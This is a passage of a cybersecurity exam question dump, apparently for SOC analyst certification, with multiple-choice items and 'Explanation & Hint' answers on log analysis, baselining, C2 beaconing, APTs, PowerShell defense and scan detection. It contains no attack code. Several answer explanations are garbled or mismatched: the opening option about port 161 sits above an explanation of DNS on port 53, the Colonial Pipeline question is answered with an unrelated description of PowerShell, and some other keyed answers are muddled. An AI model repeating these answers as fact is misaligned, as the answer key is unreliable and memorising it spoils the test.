TCP 161 and UDP 161

Explanation & Hint:

DNS (Domain Name System) listens on TCP port 53 and UDP port 53. These are the well-known ports used for DNS operations. DNS uses UDP for most of its query-response purposes, and TCP is typically used for zone transfers and for queries that require reliable delivery.

Which three are SMTP commands? (Choose three.)

HELLO
QUIT
DATA
SEND

SAVE

Explanation & Hint:

Among the options provided, the three that are SMTP (Simple Mail Transfer Protocol) commands are:

HELO: This command is used to initiate a conversation with the mail server. The client sends this command to the SMTP server to identify itself and initiate the SMTP conversation.
QUIT: This command is used to terminate the SMTP session. It informs the server that the client is done with the conversation and that the server can close the connection.
DATA: This command is used to start the transfer of the email message body. After sending this command, the client begins sending the message content, ending with a specific sequence to indicate the end of the message.

“SEND” and “SAVE” are not standard SMTP commands used in the SMTP protocol for email transmission.

When is the best time to obtain a baseline about the network?

as soon as the network is set up without any user traffics on the network
before the network is set up
as soon as the network is set up and operating under normal use

as soon as we find any anomalies in the network

Explanation & Hint:

The best time to obtain a baseline of the network is “as soon as the network is set up and operating under normal use.”

Obtaining a baseline when the network is in its regular operational state, with typical user traffic and activities, provides the most accurate representation of what ‘normal’ looks like for that network. This baseline can then be used for comparison in future monitoring to detect anomalies, performance issues, or security threats. Establishing the baseline under real-world conditions ensures that it accurately reflects the network’s typical performance and usage patterns.

Establishing a baseline before the network is fully operational or without user traffic might not capture the true characteristics of normal network behavior, making it less useful for comparative analysis. Waiting until anomalies are found to establish a baseline would be too late, as the baseline is needed to help identify those anomalies in the first place.

Why should Powershell usage be monitored for suspicious activity?

Powershell is a very powerful CLI which can start new processes.
Powershell is a common tool used by users to perform many daily Windows activities.
Powershell is a shell only accepts and returns text—not objects.

Powershell is not a built-in tool with Windows 10.

Explanation & Hint:

The best reason to monitor PowerShell usage for suspicious activity is that “PowerShell is a very powerful CLI which can start new processes.”

This aspect of PowerShell makes it a potent tool for system administration but also a significant target for misuse by attackers. Its ability to start new processes and execute a wide range of commands means that PowerShell can be used to carry out complex and potentially harmful activities, such as running malicious scripts, automating data exfiltration, or facilitating lateral movement within a network. Monitoring its usage can help in identifying and mitigating such threats.

What is the purpose of having a “known-good” profile?

configure and test NMS tools
audit remote log locations
define set of rules that an IDS and an IPS uses to detect typical intrusive activity

help the security analyst flag anomalies

Explanation & Hint:

The purpose of having a “known-good” profile is to “help the security analyst flag anomalies.”

A “known-good” profile essentially represents a baseline of normal, expected behavior and configurations within a system, network, or application. By understanding what is normal, security analysts can more easily identify deviations from this baseline, which may indicate security incidents, anomalies, or malicious activities. Having a known-good profile is crucial for effective monitoring and quick response to potential threats, as it allows for a more accurate differentiation between benign and potentially harmful activities.

Which information in the packet capture could be used to identify the suspicious behavior if the packet is encrypted using IPsec ESP transport mode?

payload
MAC address
IP addresses

ESP header

Explanation & Hint:

If a packet is encrypted using IPsec ESP (Encapsulating Security Payload) in transport mode, the payload of the packet is encrypted and therefore not directly usable for identifying suspicious behavior. However, other elements of the packet that are not encrypted can be used for this purpose. Among the options provided:

IP addresses: In IPsec ESP transport mode, the original IP headers are not encrypted. Therefore, the source and destination IP addresses in the packet remain visible and can be analyzed for suspicious activity, such as traffic to or from known malicious addresses or unusual patterns of communication.
ESP header: The ESP header itself, while it does not provide detailed information about the payload, can still offer some useful information for analysis. For instance, certain patterns or anomalies in ESP headers, such as unexpected changes in the Security Parameters Index (SPI) or unusual packet sizes, might indicate suspicious behavior.

The other options, like “payload” and “MAC address,” have limitations:

Payload: The payload is encrypted in IPsec ESP transport mode, so its contents cannot be directly inspected in a packet capture for suspicious behavior.
MAC address: While MAC addresses are part of the Ethernet frame and visible in a packet capture, they are less useful for identifying suspicious behavior in this context, especially in a routed network where MAC addresses change at each hop. They are more relevant in the context of local network behavior and issues.

Which two statements are true regarding sandbox? (Choose two.)

A sandbox allows the file to be executed in a controlled environment.
A sandbox is always connected or attached to critical systems or operational networks.
Analysis on the sandbox is automated and generally has a very quick turnaround time.
The executable files cannot be monitored and cannot be signature based on the behavior that it exhibits.

A sandbox can only analyze non zero day malware.

Explanation & Hint:

Among the provided statements about a sandbox, the two true statements are:

“A sandbox allows the file to be executed in a controlled environment.” – This statement is true. A sandbox is a security mechanism used to run and analyze suspicious files or code in an isolated environment. This isolation ensures that if the code is malicious, it cannot harm the host system or network.
“Analysis on the sandbox is automated and generally has a very quick turnaround time.” – This statement is also generally true. Sandboxing technology is often designed to quickly analyze the behavior of files or code automatically. This rapid analysis helps in identifying potentially malicious activities without significant delay.

The other statements are not accurate:

“A sandbox is always connected or attached to critical systems or operational networks.” – This is not true. In fact, sandboxes are deliberately isolated from critical systems and operational networks to prevent any potential harm if the analyzed code is malicious.
“The executable files cannot be monitored and cannot be signature based on the behavior that it exhibits.” – This statement is false. One of the key functions of a sandbox is to monitor the behavior of executable files. Based on this behavior, sandboxes can often generate signatures or indicators that can be used for future detection of similar malware.
“A sandbox can only analyze non zero day malware.” – This is incorrect. Sandboxes are particularly useful for analyzing zero-day threats (new, previously unknown malware) because they do not rely solely on existing signatures but also on behavior analysis.

What is the purpose of using REGEX during PCAP analysis?

deliver payloads from PCAP analysis
define a search pattern
reverse engineer suspicious files

log event data and establish baseline

Explanation & Hint:

The purpose of using REGEX (Regular Expressions) during PCAP (Packet Capture) analysis is to “define a search pattern.”

Regular expressions are used in PCAP analysis to create complex search patterns that can match specific sequences in packet data. This is particularly useful when you are looking for certain patterns of network traffic or specific data within a large set of captured packets. REGEX allows for detailed and precise filtering, enabling analysts to isolate relevant information from the packet data efficiently.

The other options mentioned are not directly related to the use of REGEX in PCAP analysis:

Deliver payloads from PCAP analysis: REGEX is not used for payload delivery; it’s a tool for pattern matching and searching within data.
Reverse engineer suspicious files: While REGEX can be used in the broader context of cybersecurity and malware analysis, it is not specifically a tool for reverse engineering files.
Log event data and establish baseline: REGEX could be used as part of a process to search log files, but it is not specifically for logging event data or establishing baselines. It’s more about searching and matching patterns within existing data.

Which two actions could indicate suspicious behavior that deviates from the baseline and is certainly worth investigating further? (Choose two.)

a lot of downloaded data such as software or web browsing
small uploads of any kind that are leaving the network
a spike in the amount of outbound traffic
regular crashing of host devices which was not seen earlier

a lot of inbound traffic to the web server in the network

Explanation & Hint:

Among the provided options, the two actions that could indicate suspicious behavior deviating from the baseline and worth investigating further are:

A spike in the amount of outbound traffic: This can be a sign of data exfiltration, where large amounts of data are being sent out of the network without authorization. Such spikes, especially if they are unusual for the normal network behavior, can indicate that sensitive data is being transferred to external entities, possibly by malware or an intruder.
Regular crashing of host devices which was not seen earlier: Frequent and unexpected crashing of host devices can be a sign of malicious activity, such as the presence of malware or the exploitation of vulnerabilities in the system. This deviation from normal stability could indicate that the systems are under attack or compromised.

The other options might not necessarily indicate suspicious behavior:

A lot of downloaded data such as software or web browsing: While this could be worth monitoring, it’s not inherently suspicious unless it deviates significantly from the normal pattern of network usage.
Small uploads of any kind that are leaving the network: Small uploads are typical in many network environments, especially if they correspond to regular business activities like sending emails or using cloud services.
A lot of inbound traffic to the web server in the network: High inbound traffic to a web server could be normal, especially if the server hosts popular services or websites. It would only be suspicious if it represents an abnormal increase or is associated with other indicators of an attack, such as a denial-of-service attack.

Log parsing is considered which part of the overall log analysis process?

Log preprocessing
Log semantic processing
Log normalization

Log filtering

Explanation & Hint:

Log parsing is considered a part of “Log preprocessing” in the overall log analysis process.

In the preprocessing stage, log data is prepared for analysis. Parsing is a crucial step in this phase, where the raw log data is analyzed and structured into a more readable and standardized format. This involves breaking down log entries into identifiable fields (like date, time, event ID, message, etc.) to facilitate easier and more effective analysis in subsequent stages.

The other steps mentioned are also part of log analysis but serve different purposes:

Log semantic processing: This involves understanding the meaning of the log entries, often requiring contextual knowledge of the systems that generated the logs.
Log normalization: This step involves translating log data from different sources into a common format to ensure consistency across diverse log types and sources.
Log filtering: This is the process of filtering out irrelevant log data to focus on the information most pertinent to the analysis goals.

What are the two general types of log source categories? (Choose two.)

network
endpoint
server
client
cloud

on-prem

Explanation & Hint:

The two general types of log source categories are:

Network: This category includes logs generated by network devices and services, such as routers, switches, firewalls, network security appliances, and other networking equipment. These logs typically provide information about network traffic, access control decisions, and other network-related events.
Endpoint/Server/Client: These categories can be grouped together as they represent logs from various types of computing devices.
- Endpoint refers to logs from end-user devices like desktops, laptops, and mobile devices.
- Server logs come from servers that provide various services, such as web servers, database servers, and file servers.
- Client logs are generated by client applications and devices that access services provided by servers.

“Cloud” and “on-prem” are terms that describe the environment where the logs are generated or stored, rather than types of log sources. “Cloud” refers to resources and services hosted in a cloud computing environment, while “on-prem” (on-premises) refers to resources and services hosted locally within an organization’s physical premises. Logs can be generated in both environments, but these terms do not represent distinct categories of log sources themselves.

Which log analysis step involves the use of the correlating key?

log parsing
log normalization
log indexing
log correlation

log analysis

Explanation & Hint:

The log analysis step that involves the use of a correlating key is “log correlation.”

Log correlation is the process of relating or connecting data from multiple log sources to identify patterns and relationships. A correlating key is a common identifier (such as a user ID, IP address, session ID, etc.) that is used to link related log entries across different log files and sources. This step is crucial in piecing together events from disparate sources to form a coherent picture of what’s happening across a network or system. It is essential in detecting complex multi-step threats, understanding the scope of incidents, and aiding in forensic investigations.

Which step in log preprocessing is where a common data set descriptors schema is used?

Log parsing
Log normalization
Log indexing
Log correlation

Log analysis

Explanation & Hint:

In log preprocessing, the step where a common data set descriptors schema is used is “Log normalization.”

Log normalization involves translating log data from different sources into a common format or schema. This standardization process makes it easier to analyze logs collectively, as it resolves differences in format, terminology, and structure between various types of logs. By normalizing the data, logs from different systems and devices can be compared and analyzed in a unified way, facilitating more effective and accurate log analysis.

Which is a method of logically arranging log entries based on their attributes?

Log parsing
Log normalization
Log indexing
Log correlation

Log analysis

Explanation & Hint:

The method of logically arranging log entries based on their attributes is “Log Indexing.”

Log indexing involves organizing and structuring log data to facilitate efficient querying and analysis. By indexing logs based on various attributes like timestamps, IP addresses, user IDs, error codes, etc., it becomes much easier and faster to search through large volumes of log data for specific information. This process is essential for effective log management and analysis, as it significantly enhances the accessibility and usability of log data.

Which type of attack is where an attacker inputs malicious code into a log file?

log tampering
log poisoning
log denial of service

log redirection

Explanation & Hint:

The type of attack where an attacker inputs malicious code into a log file is known as “log poisoning.”

Log poisoning involves injecting malicious code or queries into log files with the intention that they will be executed or interpreted by another system or application that processes these logs. For example, if a web application does not properly sanitize user input that gets logged, an attacker could input scripts or SQL queries that might be executed when the logs are reviewed or processed, leading to further exploitation.

What are two common log retrieval methods? (Choose two.)

static
push
pull

dynamic

Explanation & Hint:

Two common log retrieval methods are:

Push: In this method, log sources proactively send (or “push”) their log data to a central log management system or server. The log sources are configured to automatically forward all generated logs to a specified destination without waiting for an external request. This is a common setup in many logging architectures where real-time or near-real-time log analysis is required.
Pull: In contrast to the push method, the pull method involves the log management system actively retrieving (or “pulling”) logs from the log sources. In this scenario, the central system periodically connects to the log sources to collect the generated log data. This method is often used in environments where real-time logging is not as critical, or where the log sources cannot directly push logs due to policy or technical constraints.

“Static” and “dynamic” are not typically used to describe log retrieval methods. These terms might be used in other contexts within computing and data management, but not specifically for log retrieval.

What are the two most common log analysis challenges for the SOC? (Choose two.)

SOC analysts being tasked to perform many additional tasks besides log analysis
lack of proper training on how to perform proper and efficient log analysis
integration of the different tools using APIs, which makes log analysis more difficult
different logging sources using different log formats

too many logging sources

Explanation & Hint:

Among the options provided, the two most common log analysis challenges for a Security Operations Center (SOC) are:

Different logging sources using different log formats: This is a significant challenge because it can make log analysis more complex and time-consuming. Different systems, applications, and devices often produce logs in various formats, requiring SOC analysts to normalize and correlate data from these disparate sources to gain meaningful insights.
Too many logging sources: The sheer volume of logs generated by numerous sources can be overwhelming for SOC teams. Managing and analyzing logs from a vast array of sources not only requires significant computational resources but also poses a challenge in terms of effectively monitoring and identifying potential security incidents within the vast amount of data.

The other options, while they can be challenges in certain contexts, are not as universally applicable:

SOC analysts being tasked to perform many additional tasks besides log analysis: While this can be a challenge, it’s more about overall SOC operations and resource allocation rather than a direct challenge of log analysis.
Lack of proper training on how to perform proper and efficient log analysis: This is indeed a challenge in some SOCs, but it’s more related to the skill set of the analysts rather than the inherent difficulties of log analysis itself.
Integration of the different tools using APIs, which makes log analysis more difficult: Integration challenges do exist, but they are generally about improving efficiency and streamlining processes rather than making log analysis more difficult per se. Proper integration can actually alleviate some of the challenges associated with log analysis.

Which log management component involves log parsing, normalization, indexing, and correlation?

Logging Agent
Log Collector
Log Processor

Log Management Console

Explanation & Hint:

The log management component that involves log parsing, normalization, indexing, and correlation is the “Log Processor.”

A Log Processor is responsible for handling the raw log data once it has been collected. It performs critical functions such as:

Log Parsing: Breaking down the log entries into structured formats.
Normalization: Converting logs from different sources into a common format for easier analysis.
Indexing: Organizing log data to facilitate efficient searching and querying.
Correlation: Analyzing and linking related log entries to identify patterns or detect anomalies.

The other components have different roles:

Logging Agent: This is typically a software that runs on servers or other devices, responsible for collecting and forwarding log data.
Log Collector: A log collector aggregates log data from various sources. It might perform some initial processing, but its primary role is to gather and forward logs to a centralized system.
Log Management Console: This is the user interface of a log management system, where users can view, search, and analyze log data. It is the front end that interacts with the log processing and storage backend.

Which is a time format used mainly on UNIX systems that uses integer values to represent data and time?

Epoch
UTC
TAI

GMT

Explanation & Hint:

The time format used mainly on UNIX systems that uses integer values to represent date and time is “Epoch.” Specifically, this refers to Unix time (also known as POSIX time or Epoch time), which is a system for describing points in time. It is defined as the number of seconds that have elapsed since the Unix Epoch, excluding leap seconds – that is, since 00:00:00 Coordinated Universal Time (UTC), Thursday, 1 January 1970. Each unit in Unix time represents a single second.

Which of the following is a standard protocol used for log retrieval as defined in RFC 3164?

Syslog
SNMP
RESTful API

NETCONF

Explanation & Hint:

The standard protocol used for log retrieval as defined in RFC 3164 is “Syslog.”

Syslog is a widely used standard for message logging in Unix and Unix-like systems. It provides a protocol for system management and security auditing, and it includes a set of rules for forwarding log messages in an IP network. RFC 3164, titled “The BSD syslog Protocol,” describes the syslog protocol and has been the basis for logging services in many systems.

Which log analysis method requires a training phase?

statistical
advanced
knowledge-based
signature-based

anomaly-based

Explanation & Hint:

The log analysis method that requires a training phase is “anomaly-based.”

Anomaly-based log analysis involves creating a baseline of normal activity during the training phase. Then, during operation, it compares new log data against this baseline to identify deviations or anomalies that could indicate suspicious or malicious activities. The effectiveness of anomaly-based analysis depends heavily on the quality and comprehensiveness of the training phase, during which the system learns what normal behavior looks like.

Which part of a syslog log contains a descriptive text about the event in a free text format?

header
body
structured data

message

Explanation & Hint:

In a syslog log, the part that contains a descriptive text about the event in a free text format is the “message” part. The message part of a syslog entry typically includes detailed information about the event, written in a human-readable format. It can contain various types of data depending on what is being logged and the source of the log. This is the section where the actual content of the log is presented, describing what happened in a format that can be directly interpreted by a person reviewing the log.

Which type of attack is where an attacker clears all traces and evidence that point to them or their activities?

log tampering
log poisoning
log denial of service

log redirection

Explanation & Hint:

The type of attack where an attacker clears all traces and evidence that point to their activities is known as “log tampering.”

Log tampering involves altering or deleting log entries to hide unauthorized access or malicious activities. By manipulating log data, attackers can cover their tracks, making it more difficult for system administrators or security personnel to detect and investigate the intrusion or other malicious actions. This can compromise the integrity of log data, which is crucial for effective security monitoring and incident response.

You are a threat hunter who is analyzing traffic. You suspect that a host in your organization is attempting to establish a communication channel with a C2 server. Which traffic type should you examine more closely in your analysis?

ping
traceroute
DNS

FTP

Explanation & Hint:

When suspecting that a host in your organization is attempting to establish a communication channel with a Command-and-Control (C2) server, the traffic type you should examine more closely in your analysis is “DNS.”

DNS (Domain Name System) traffic is often a focal point in such investigations because C2 servers frequently utilize DNS requests for establishing and maintaining communication channels with compromised hosts. Attackers use DNS queries to resolve domain names of C2 servers, which can often go unnoticed since DNS requests are common in network traffic. Moreover, some advanced threats use DNS tunneling techniques for exfiltrating data and receiving commands, making DNS traffic a critical area to scrutinize for potential C2 communications.

Other traffic types like ping (ICMP), traceroute, and FTP have their uses in network communications, but are less commonly associated with C2 traffic:

Ping (ICMP): Often used for basic network diagnostics rather than establishing C2 channels.
Traceroute: Used to diagnose path issues in network traffic, not typically associated with C2 communications.
FTP: While it can be used for data exfiltration, it’s less stealthy compared to DNS and more likely to be detected by modern security systems.

You work on an incident response team. You are tasked with identifying malicious beaconing traffic that is leaving your network and communicating with an external C2 server. Which traffic type will be your primary focus?

Cobalt Strike packets
IPsec packets
tunneled traffic

IPv6 packets

Explanation & Hint:

When tasked with identifying malicious beaconing traffic that is communicating with an external Command-and-Control (C2) server, your primary focus should be on “tunneled traffic.”

Tunneled traffic refers to the use of various tunneling protocols that encapsulate one protocol or session inside another. Malicious actors often use such methods to hide their communications with C2 servers. This can include using common protocols like HTTP or HTTPS to disguise the traffic as normal web browsing, or more complex methods like VPN tunnels, SSH tunneling, or even DNS tunneling. By focusing on tunneled traffic, you can look for patterns or anomalies that might indicate beaconing, such as regular, periodic traffic to an unknown external server, which is a common characteristic of C2 communication.

The other options provided are less specific or less likely to be directly related to C2 beaconing:

Cobalt Strike packets: While Cobalt Strike is a threat emulation tool often used by attackers, its traffic would not necessarily be distinct or easily identifiable without knowing specific signatures.
IPsec packets: While IPsec could be used for tunneling malicious traffic, IPsec packets in themselves are not inherently indicative of C2 activity, as IPsec is commonly used for legitimate VPN connections.
IPv6 packets: Focusing solely on IPv6 packets without other context is not particularly useful, as IPv6 is just an IP addressing protocol and does not inherently indicate malicious activity. Beaconing can occur over both IPv4 and IPv6.

You are a newly-hired threat hunter and are familiarizing yourself with your organization’s network. You must establish a baseline of normal behavior before threat hunting can begin. Which tool would be the most helpful for this purpose?

Cisco Secure Firewall
Cisco Umbrella DNS services
Cisco SIEM

Cisco Secure Network Analytics

Explanation & Hint:

To establish a baseline of normal behavior in your organization’s network, a tool like “Cisco SIEM” (Security Information and Event Management) would be the most helpful.

SIEM systems are designed to aggregate and analyze data from various sources across the network, including logs from firewalls, network devices, servers, and other critical infrastructure. By correlating and analyzing this data, a SIEM can help you understand normal network patterns and behaviors. This understanding is crucial for baseline establishment, enabling you to later identify deviations or anomalies that could indicate threats.

While the other tools mentioned are useful in their respective areas, they might not be as comprehensive as a SIEM for the specific task of establishing a network behavior baseline:

Cisco Secure Firewall and Cisco Secure Network Analytics are great for monitoring and analyzing network traffic and threats but might not offer the same level of log aggregation and correlation as a SIEM.
Cisco Umbrella DNS services provide DNS-layer security and are effective for identifying and blocking malicious DNS requests but do not encompass the broader scope of network behavior analysis that a SIEM provides.

Which two options are valid examples of beaconing traffic that occurs within an organization’s network? (Choose two.)

6G wireless
802.11 WLAN keepalive traffic
NTP traffic
OSI Layer 1 IP traffic

Client-server ping traffic

Explanation & Hint:

Two valid examples of beaconing traffic that may occur within an organization’s network are:

802.11 WLAN keepalive traffic: Wireless networks, including those using the 802.11 standard, often generate keepalive traffic to maintain connections. These periodic signals sent by wireless devices to the access point can be considered a form of beaconing, as they are regular, automated communications to ensure connectivity and network presence.
NTP (Network Time Protocol) traffic: NTP is used to synchronize the clocks of computers over a network. The traffic generated by NTP can be considered a form of beaconing because it involves regular, scheduled communication between a client and an NTP server to maintain accurate time settings.

The other options do not represent typical beaconing traffic:

6G wireless: This refers to a future generation of wireless technology and is not specific to a type of network traffic or pattern.
OSI Layer 1 IP traffic: OSI Layer 1 refers to the physical layer, which deals with the hardware transmission of raw bits over a physical medium and does not deal with IP traffic specifically.
Client-server ping traffic: While regular ping traffic between a client and server could be considered a form of beaconing, it’s less common as a routine network function compared to WLAN keepalive or NTP traffic. Regular pings are more often used for diagnostic purposes rather than as a standard network function.

Which tool can you use to detect and block malicious beaconing between a compromised host and a C2 server?

Cisco Secure Firewall
Cisco border router equipped with anomaly detection
Splunk SIEM

Cisco SASE appliance

Explanation & Hint:

To detect and block malicious beaconing between a compromised host and a Command-and-Control (C2) server, a “Cisco Secure Firewall” would be an effective tool.

Cisco Secure Firewall (formerly known as Cisco ASA with FirePOWER Services) offers advanced threat protection capabilities, including the ability to detect and block malicious traffic. It can identify unusual patterns of communication, such as the regular, periodic traffic characteristic of beaconing to a C2 server. The firewall can be configured with security rules and threat intelligence to effectively block this type of malicious activity.

The other tools mentioned also have relevant capabilities, but with different primary focuses:

Cisco border router equipped with anomaly detection: While this can detect unusual traffic patterns, it may not have the same level of detailed inspection and threat intelligence integration as a dedicated firewall for blocking C2 communication.
Splunk SIEM: While a SIEM (Security Information and Event Management) system like Splunk is excellent for monitoring, detecting, and analyzing security events (including potentially beaconing traffic), it doesn’t directly block traffic but rather alerts administrators to suspicious activities.
Cisco SASE appliance: SASE (Secure Access Service Edge) combines network and security functions with WAN capabilities to support the dynamic, secure access needs of organizations. While it can contribute to a broader security posture, for the specific task of detecting and blocking C2 communication, a dedicated firewall might be more directly applicable.

What is the purpose of Onion Router (Tor)?

conceal location
decrypt the originating traffic and IP address
map exit IP address to a physical location

block unauthorized access

Explanation & Hint:

The primary purpose of the Onion Router (Tor) is to “conceal location.” Tor is designed to anonymize internet activity, helping users protect their privacy and defend against network surveillance and traffic analysis. It does this by directing internet traffic through a worldwide, volunteer overlay network consisting of more than seven thousand relays. This process encrypts the data multiple times and routes it through multiple servers (or nodes) to conceal the user’s location and usage from anyone conducting network surveillance or traffic analysis.

The other options provided do not accurately describe the purpose of Tor:

Decrypt the originating traffic and IP address: Tor encrypts traffic to preserve anonymity but does not specifically decrypt traffic; rather, it aims to prevent the traffic from being decrypted easily by third parties.
Map exit IP address to a physical location: Tor actually makes this mapping difficult. The use of a distributed network of relays is intended to obfuscate the user’s physical location and IP address.
Block unauthorized access: While Tor provides anonymity, it is not primarily a tool for blocking access; its main function is to anonymize web browsing and communications.

Which is a characteristic of cyberattack to be considered part of a cyber warfare operation?

government funding
non-political motives
short-term commitment

use of casual actions

Explanation & Hint:

A characteristic of a cyberattack that would be considered part of a cyber warfare operation is “government funding.”

Cyber warfare typically refers to cyberattacks that are state-sponsored or state-conducted, often with the intention of damaging another nation’s ability to respond militarily or disrupting critical infrastructure. Such operations are usually funded, supported, or endorsed by a government, distinguishing them from other types of cyberattacks that might be conducted by independent criminal groups, individuals with non-political motives, or for short-term financial gains.

The other characteristics mentioned do not align well with the concept of cyber warfare:

Non-political motives: Cyber warfare is often politically motivated, as it involves state actors or interests.
Short-term commitment: Cyber warfare often involves long-term, strategic commitments rather than short-term or ad-hoc actions.
Use of casual actions: Cyber warfare actions are typically deliberate and calculated, part of a broader strategy, rather than casual or unplanned.

What are two challenges in securing information using data digitalization? (Choose two.)

higher information density
wide attack surface
hard to modify or replicate data

requires significant resources to obtain access

Explanation & Hint:

Two challenges in securing information using data digitalization are:

Higher information density: Digitalization often leads to a higher concentration of valuable data in digital formats. This higher density of information can be more attractive to attackers, as a single breach can yield a large amount of sensitive data. Furthermore, the compactness of digital data storage makes it easier to remove or copy large amounts of information quickly and discreetly.
Wide attack surface: The digitalization of data often means it is stored, processed, and transmitted across various systems and networks. This expansion in the use of digital technologies increases the number of potential vulnerabilities and entry points for attackers, effectively widening the attack surface. With data being accessed and shared across multiple platforms, securing it against all possible threats becomes more complex.

The other options are not typically challenges associated with data digitalization:

Hard to modify or replicate data: Digital data, by its nature, is generally easier to modify or replicate compared to physical data. This is often a security concern rather than a benefit.
Requires significant resources to obtain access: In many cases, digitalization can actually make data more accessible. The challenge is often securing the data while maintaining necessary accessibility, not the resource requirement for access.

Which two statements are correct about the advanced persistent threats (APTs)? (Choose two.)

long-lasting attacks
require no technical expertise
financially demanding

short-term commitment

Explanation & Hint:

The two correct statements about Advanced Persistent Threats (APTs) are:

Long-lasting attacks: APTs are characterized by their long-term nature. These attacks typically occur over extended periods, often months or years, allowing attackers to continuously monitor and extract data without being detected.
Financially demanding: APTs usually involve significant financial resources, as they require sophisticated tools, skilled personnel, and a sustained commitment. The level of resources and expertise needed for such attacks is typically beyond the capabilities of individual hackers or smaller groups.

The other options are not accurate in describing APTs:

Require no technical expertise: This is incorrect. APTs usually require a high degree of technical skill to execute successfully. They often involve complex strategies and sophisticated malware.
Short-term commitment: This is also incorrect. One of the defining characteristics of APTs is their long-term focus, as opposed to short-term, hit-and-run type cyber attacks.

What is the purpose of NIST?

associations between companies and governments to provide computer emergency response
framework of security requirements that global organizations must implement to protect the security and privacy of EU citizens’ personal information
protect cloud-based data stores to ensure compliance

defines information security in healthcare, which is useful for companies that require HIPAA compliance

Explanation & Hint:

The purpose of NIST, the National Institute of Standards and Technology, is broader than the specific areas mentioned in the options. NIST is a non-regulatory agency of the United States Department of Commerce with a broad mandate to develop and promote measurement, standards, and technology to enhance productivity, facilitate trade, and improve the quality of life.

In the context of cybersecurity and information technology, NIST is well-known for developing standards, guidelines, and best practices to help ensure the security of information systems. This includes frameworks and recommendations that are widely used across various industries and government agencies, both within the United States and internationally. Some of its most notable contributions include the NIST Cybersecurity Framework, guidelines for secure password management, and standards for encryption and information security.

None of the options provided accurately describe the primary purpose of NIST:

Associations between companies and governments to provide computer emergency response: This describes more the role of organizations like CERTs (Computer Emergency Response Teams), not NIST.
Framework of security requirements for protecting EU citizens’ personal information: This seems to describe the GDPR (General Data Protection Regulation) in the European Union, not a function of NIST.
Protect cloud-based data stores to ensure compliance: While NIST does provide guidelines that can help in protecting cloud-based data, this is not its sole or primary purpose.
Defines information security in healthcare for HIPAA compliance: NIST provides guidelines that can be useful for HIPAA compliance, but defining information security specifically for healthcare and HIPAA is not its primary function.

What was the target in the Colonial Pipeline ransomware attack?

SCADA system
Orion software platform
Microsoft Exchange

PowerShell

Explanation & Hint:

PowerShell is a task automation and configuration management framework from Microsoft, consisting of a command-line shell and the associated scripting language. It is built on the .NET framework and enables administrators to perform administrative tasks on both local and remote Windows systems. Here are some key aspects of PowerShell:

Command-line Shell: PowerShell provides an interactive command-line interface where administrators can execute commands. Unlike the traditional Command Prompt, it offers more advanced features and capabilities.
Scripting Language: PowerShell’s scripting language is powerful and flexible, allowing for complex automation scripts. These scripts can automate repetitive tasks, manage system configurations, and more.
Access to .NET Framework: PowerShell is built on .NET, providing access to the capabilities of the .NET framework. This allows for a wide range of functionalities, including advanced operations with network objects, file systems, and Windows Management Instrumentation (WMI).
Remote Management: PowerShell enables administrators to manage multiple systems from a single console. With its remote management capabilities, tasks can be performed on various machines across a network, simplifying the management of large numbers of computers.
Pipeline Concept: PowerShell uses a pipeline concept that allows the output of one command to be passed as input to another command. This feature facilitates complex operations and data processing.
Object-Based Nature: Unlike many traditional command-line interfaces that output text, PowerShell is designed to work with objects. An object in PowerShell is a data structure that represents a specific type of item, like a file, a process, or a registry entry. This object-based approach allows for more detailed manipulation and control of data.
Security: PowerShell includes several security features to prevent unauthorized script execution and system changes. Execution policies, for example, can be set to restrict the running of scripts, and PowerShell scripts can be digitally signed to ensure their integrity.

PowerShell is a versatile tool that can be used for a wide array of tasks in system administration, from simple file operations to complex system management. However, its powerful capabilities also mean it can be misused by attackers, who might leverage PowerShell scripts for malicious purposes, such as deploying malware, performing reconnaissance, or automating the exploitation of vulnerabilities.

What is the goal of hacktivism?

social change
ransom
DoS

phishing

Explanation & Hint:

The primary goal of hacktivism is “social change.” Hacktivism is the act of hacking, or breaking into a computer system, for a politically or socially motivated purpose. The individuals who perform these acts, known as hacktivists, typically seek to promote a political agenda or social change, often by leaking sensitive information, defacing websites, or temporarily disrupting service. Unlike other forms of cyber attacks, the motivation behind hacktivism is not personal or financial gain, but rather to raise awareness, bring attention to social or political issues, or exact some form of justice or retaliation against perceived wrongdoings.

What is a recommended strategy for defending against PowerShell attacks?

Enable all service accounts to mitigate credential theft.
Configure logging to exclude account creation or deletion events.
Block PowerShell with AppLocker or Group Policy Object (GPO) settings.

Configure user groups on domain controllers with full administrative rights.

Explanation & Hint:

A recommended strategy for defending against PowerShell attacks is to “Block PowerShell with AppLocker or Group Policy Object (GPO) settings.”

PowerShell is a powerful tool that can be used by attackers to execute scripts and commands that compromise security. Using AppLocker or GPO settings to restrict PowerShell usage can help prevent unauthorized or malicious PowerShell activities. This can include limiting PowerShell execution to only signed scripts, or completely blocking PowerShell for users who do not require it for their day-to-day tasks.

The other options mentioned are not recommended practices and could actually weaken security:

Enable all service accounts to mitigate credential theft: Enabling all service accounts unnecessarily can actually increase the risk of credential theft, as it creates more targets for attackers.
Configure logging to exclude account creation or deletion events: This is not advisable. It’s important to log and monitor account creation and deletion events, as these can be indicators of malicious activity.
Configure user groups on domain controllers with full administrative rights: This approach is risky because it increases the number of accounts with high-level access, potentially enlarging the attack surface. It’s better to follow the principle of least privilege, granting users only the access rights they need to perform their tasks.

What is the name of a metasploit payload type that is referred to as an inline payload?

Stages
Static
Stager

Singles

Explanation & Hint:

In Metasploit, an inline payload is referred to as “Singles.”

Singles payloads are standalone and self-contained, meaning they perform their intended function without needing to be combined with other payloads. They are designed to execute a simple action, like opening a command shell or adding a user, and do not rely on a stager to load additional payload stages. This is in contrast to staged payloads, which are delivered in parts (stager and stage) to minimize the size of the initial payload.

Cisco Secure Firewall detects suspicious traffic that exhibits scanning-like behavior that originates from a seldom used printer on the network. Which type of Nmap scan is possibly being detected?

TCP Connect
TCP SYN Stealth
UDP

TCP Idle

Explanation & Hint:

If Cisco Secure Firewall detects suspicious traffic exhibiting scanning-like behavior originating from a seldom-used printer on the network, it is possible that a “TCP Idle” scan, also known as an “Idle scan,” is being detected.

The TCP Idle scan is a type of Nmap scan that can be used to stealthily map out a network without revealing the scanner’s IP address. This scan technique involves using a “zombie” host (in this case, the seldom-used printer) to send the scan packets. By manipulating the IP ID sequence numbers of the “zombie” host, the scanner can indirectly scan a target without exposing its own IP address. This type of scan is particularly stealthy and can be difficult to trace back to the actual attacker.

The other scan types mentioned have different characteristics:

TCP Connect: This is a basic form of scanning that establishes a full TCP connection with the target. It’s not stealthy and can be easily detected.
